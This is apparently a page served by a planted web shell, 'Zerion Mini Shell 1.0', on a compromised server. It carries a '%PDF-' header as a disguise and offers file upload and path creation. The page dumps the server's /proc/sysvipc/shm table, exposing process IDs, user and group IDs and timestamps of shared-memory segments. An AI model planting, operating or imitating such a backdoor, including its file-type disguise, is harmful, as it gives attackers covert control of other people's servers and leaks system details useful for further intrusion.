%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/sysvipc/
Upload File :
Create Path :
Current File : //proc/sysvipc/shm

       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0  192937984  1600                173712 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152537                176128                     0
         0  192937985  1600                195408 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152539                196608                     0
         0  192937986  1600                217112 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152541                221184                     0
         0  192937987  1600                238816 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152543                241664                     0
      5555          4   644                  1024  3840 1817777      0     0     0     0     0 1731419066 1731419066 1714899927                  4096                     0
         0  192937989  1600                260544 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152545                262144                     0
         0  192937990  1600                282240 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152547                282624                     0
         0  192937991  1600                303944 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152549                307200                     0
         0  192937992  1600                325632 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152551                327680                     0
         0  192937993  1600                347328 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152553                348160                     0
         0  192937994  1600                369016 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152555                372736                     0
         0  192937995  1600                390704 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152557                393216                     0
         0  192937996  1600                412400 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152559                413696                     0
         0  192937997  1600                434096 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152561                434176                     0
         0  192937998  1600                455784 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152563                458752                     0
         0  192937999  1600                477472 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152565                479232                     0
         0  192938000  1600                499168 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152567                499712                     0
         0  192938001  1600                520856 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152569                524288                     0
         0  192938002  1600                542544 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152572                544768                     0
         0  192938003  1600                564240 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152574                565248                     0
         0  192938004  1600                585936 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152576                589824                     0
         0  192938005  1600                607632 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152578                610304                     0
         0  192938006  1600                629336 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152580                630784                     0
         0  192938008  1600                651040 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152582                651264                     0
         0  192938009  1600                672744 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152584                675840                     0
         0  192938010  1600                694432 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152586                696320                     0
         0  192938011   600                716128 1920874 2299019      2   475   468   475   468 1732047953 1732047953 1731152588                716800                     0
-1354379232  168656929   666                    18 1324664 1663677      0  7298  7300  7298  7300 1731147190 1731147190 1729034652                  4096                     0
         0  201523238  1400                174464 3134293 3020534      2   484   479     0     0 1732032124          0 1732032124                176128                     0
   5432001  201359402   600                    56 693519 2298506     50   466   456   466   456 1732047933 1732047933 1732015998                  4096                     0
         0  201687084  1600                524288 2297770 2297771      1  8789  8791  8789  8791 1732047913 1732047925 1732047913                  8192                     0
         0  192905269  1600                   576 1920869 2299019      6   475   468   475   468 1732047953 1732047953 1731152523                  4096                     0
         0  192905270  1600               2993056 1920869 2299019      6   475   468   475   468 1732047953 1732047953 1731152523               2994176                     0
         0  192905271  1600                 21744 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152523                 24576                     0
         0  192905272  1600                 43456 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152525                 45056                     0
         0  192905273  1600                 65160 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152527                 65536                     0
         0  192905274  1600                 86856 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152529                 90112                     0
         0  192905275  1600                108560 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152531                110592                     0
         0  192905276  1600                130312 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152533                131072                     0
   5432002  191201342   600                    56 2167718 2298664      6    26    26    26    26 1732047940 1732047940 1730980270                  4096                     0
         0  192905279  1600                152008 1920874 2299019      1   475   468   475   468 1732047953 1732047953 1731152535                155648                     0

Zerion Mini Shell 1.0